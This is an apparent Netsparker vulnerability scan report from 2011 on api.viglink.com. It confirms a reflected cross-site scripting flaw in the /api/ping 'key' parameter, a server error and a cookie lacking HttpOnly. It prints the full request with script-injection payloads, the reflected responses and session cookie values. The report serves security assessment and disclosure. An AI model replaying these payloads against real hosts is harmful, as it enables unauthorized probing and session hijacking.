XSS, Cross Site Scripting, api.viglink.com REPORT SUMMARYLoading
Netsparker - Scan Report Summary
|
||||||||||
|
Total RequestsAverage Speedreq/sec. |
3
identified
3
confirmed
0
critical
0
informational
|
||||||||
GHDB, DORK TestsGHDB, DORK Tests
|
||||||||||
|
Authentication
Scheduled
|
|||||||||
VULNERABILITIESVulnerabilities
|
||
 |
IMPORTANT
33 %
LOW
67 %
|
|
Cross-site Scripting
Cross-site Scripting
1
TOTAL
IMPORTANT
CONFIRMED
1
XSS (Cross-site Scripting) allows an attacker to execute a dynamic script (Javascript, VbScript) in the context of the application. This allows several different attack opportunities, mostly hijacking the current session of the user or changing the look of the page by changing the HTML on the fly to steal the user's credentials. This happens because the input entered by a user has been interpreted as HTML/Javascript/VbScript by the browser.
XSS targets the users of the application instead of the server. Although this is a limitation, since it allows attackers to hijack other users' session, an attacker might attack an administrator to gain full control over the application.
Impact
There are many different attacks that can be leveraged through the use of XSS, including:
- Hi-jacking users' active session
- Changing the look of the page within the victims browser.
- Mounting a successful phishing attack.
- Intercept data and perform man-in-the-middle attacks.
Remedy
The issue occurs because the browser interprets the input as active HTML, Javascript or VbScript. To avoid this, all input and output from the application should be filtered. Output should be filtered according to the output format and location. Typically the output location is HTML. Where the output is HTML ensure that all active content is removed prior to its presentation to the server.
Prior to sanitizing user input, ensure you have a pre-defined list of both expected and acceptable characters with which you populate a white-list. This list needs only be defined once and should be used to sanitize and validate all subsequent input.
There are a number of pre-defined, well structured white-list libraries available for many different environments, good examples of these include, OWASP Reform and Microsoft Anti Cross-site Scripting libraries are good examples.
Remedy References
External References
|
- /api/ping
/api/ping CONFIRMED |
Parameters
| Parameter | Type | Value |
| format | GET | jsonp |
| key | GET | '"--></style></script><script>alert(0x000043)</script> |
| loc | GET | about:blank |
| v | GET | 1 |
| jsonp | GET | vglnk_jsonp_13031707108430 |
Request
GET /api/ping?format=jsonp&key='%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Enetsparker(0x000043)%3C/script%3E&loc=about%3Ablank&v=1&jsonp=vglnk_jsonp_13031707108430 HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: api.viglink.com
Cookie: JSESSIONID=0B606A49BA8F693B439B712FDC0C8F24; vglnk.Agent.p=7bdbf885fdbedbb09f10a9dd5371c0b2
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: api.viglink.com
Cookie: JSESSIONID=0B606A49BA8F693B439B712FDC0C8F24; vglnk.Agent.p=7bdbf885fdbedbb09f10a9dd5371c0b2
Accept-Encoding: gzip, deflate
Response
HTTP/1.1 500 Internal Server Error
Cache-Control: no-store, no-cache, must-revalidate
Content-Encoding:
Content-Language: en
Content-Type: text/html;charset=ISO-8859-1
Date: Tue, 19 Apr 2011 00:58:25 GMT
Expires: -1
Pragma: no-cache
Vary: Accept-Encoding
Content-Length: 86
Connection: keep-alive
error: Unknown api key: '"--></style></script><script>netsparker(0x000043)</script>
Cache-Control: no-store, no-cache, must-revalidate
Content-Encoding:
Content-Language: en
Content-Type: text/html;charset=ISO-8859-1
Date: Tue, 19 Apr 2011 00:58:25 GMT
Expires: -1
Pragma: no-cache
Vary: Accept-Encoding
Content-Length: 86
Connection: keep-alive
error: Unknown api key: '"--></style></script><script>netsparker(0x000043)</script>
Internal Server Error
Internal Server Error
1
TOTAL
LOW
CONFIRMED
1
The Server responded with an HTTP status 500. This indicates that there is a server-side error. Reasons may vary. The behavior should be analysed carefully. If Netsparker is able to find a security issue in the same resource it will report this as a separate vulnerability.
Impact
The impact may vary depending on the condition. Generally this indicates poor coding practices, not enough error checking, sanitization and whitelisting. However there might be a bigger issue such as SQL Injection. If that's the case Netsparker will check for other possible issues and report them separately.
Remedy
Analyse this issue and review the application code in order to handle unexpected errors, this should be a generic practice which does not disclose further information upon an error. All errors should be handled server side only.
|
- /api/ping
/api/ping CONFIRMED |
Request
GET /api/ping?format=jsonp&key=30c9962c288b6104d8aabe237d132b5447797%3Cscript%3Ealert(1)%3C/script%3E11f76ed4d6d&loc=about%3Ablank&v=1&jsonp=vglnk_jsonp_13031707108430 HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: api.viglink.com
Accept-Encoding: gzip, deflate
Connection: Keep-Alive
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: api.viglink.com
Accept-Encoding: gzip, deflate
Connection: Keep-Alive
Response
HTTP/1.1 500 Internal Server Error
Cache-Control: no-store, no-cache, must-revalidate
Content-Encoding:
Content-Language: en
Content-Type: text/html;charset=ISO-8859-1
Date: Tue, 19 Apr 2011 00:58:19 GMT
Expires: -1
Pragma: no-cache
Set-Cookie: vglnk.Agent.p=1d44b2d5ba85a116784948452ce76297; Domain=.viglink.com; Expires=Fri, 16-Apr-2021 00:58:19 GMT; Path=/
Vary: Accept-Encoding
Content-Length: 109
Connection: keep-alive
error: Unknown api key: 30c9962c288b6104d8aabe237d132b5447797<script>alert(1)</script>11f76ed4d6d
Cache-Control: no-store, no-cache, must-revalidate
Content-Encoding:
Content-Language: en
Content-Type: text/html;charset=ISO-8859-1
Date: Tue, 19 Apr 2011 00:58:19 GMT
Expires: -1
Pragma: no-cache
Set-Cookie: vglnk.Agent.p=1d44b2d5ba85a116784948452ce76297; Domain=.viglink.com; Expires=Fri, 16-Apr-2021 00:58:19 GMT; Path=/
Vary: Accept-Encoding
Content-Length: 109
Connection: keep-alive
error: Unknown api key: 30c9962c288b6104d8aabe237d132b5447797<script>alert(1)</script>11f76ed4d6d
Cookie Not Marked As HttpOnly
Cookie Not Marked As HttpOnly
1
TOTAL
LOW
CONFIRMED
1
Cookie was not marked as HTTPOnly. HTTPOnly cookies can not be read by client-side scripts therefore marking a cookie as HTTPOnly can provide an additional layer of protection against Cross-site Scripting attacks..
Impact
During a Cross-site Scripting attack an attacker might easily access cookies and hijack the victim's session.Actions to Take
- See the remedy for solution
- Consider marking all of the cookies used by the application as HTTPOnly (After these changes javascript code will not able to read cookies.
Remedy
Mark the cookie as HTTPOnly. This will be an extra layer of defence against XSS. However this is not a silver bullet and will not protect the system against Cross-site Scripting attacks. An attacker can use a tool such as XSS Tunnel to bypass HTTPOnly protection.
External References
|
- /api/
/api/ CONFIRMED |
Identified Cookie
vglnk.Agent.p
Request
GET /api/ HTTP/1.1
Referer: http://api.viglink.com/api/ping?format=jsonp&key=30c9962c288b6104d8aabe237d132b5447797%3Cscript%3Ealert(1)%3C/script%3E11f76ed4d6d&loc=about%3Ablank&v=1&jsonp=vglnk_jsonp_13031707108430
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: api.viglink.com
Accept-Encoding: gzip, deflate
Connection: Keep-Alive
Referer: http://api.viglink.com/api/ping?format=jsonp&key=30c9962c288b6104d8aabe237d132b5447797%3Cscript%3Ealert(1)%3C/script%3E11f76ed4d6d&loc=about%3Ablank&v=1&jsonp=vglnk_jsonp_13031707108430
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: api.viglink.com
Accept-Encoding: gzip, deflate
Connection: Keep-Alive
Response
HTTP/1.1 404 Not Found
Cache-Control: no-store, no-cache, must-revalidate
Content-Type: text/plain
Date: Tue, 19 Apr 2011 00:58:19 GMT
Expires: -1
Pragma: no-cache
Set-Cookie: vglnk.Agent.p=859c7bd860ad1149337e4aa34391db84; Domain=.viglink.com; Expires=Fri, 16-Apr-2021 00:58:19 GMT; Path=/
Content-Length: 27
Connection: keep-alive
Unknown API method: /api/
Cache-Control: no-store, no-cache, must-revalidate
Content-Type: text/plain
Date: Tue, 19 Apr 2011 00:58:19 GMT
Expires: -1
Pragma: no-cache
Set-Cookie: vglnk.Agent.p=859c7bd860ad1149337e4aa34391db84; Domain=.viglink.com; Expires=Fri, 16-Apr-2021 00:58:19 GMT; Path=/
Content-Length: 27
Connection: keep-alive
Unknown API method: /api/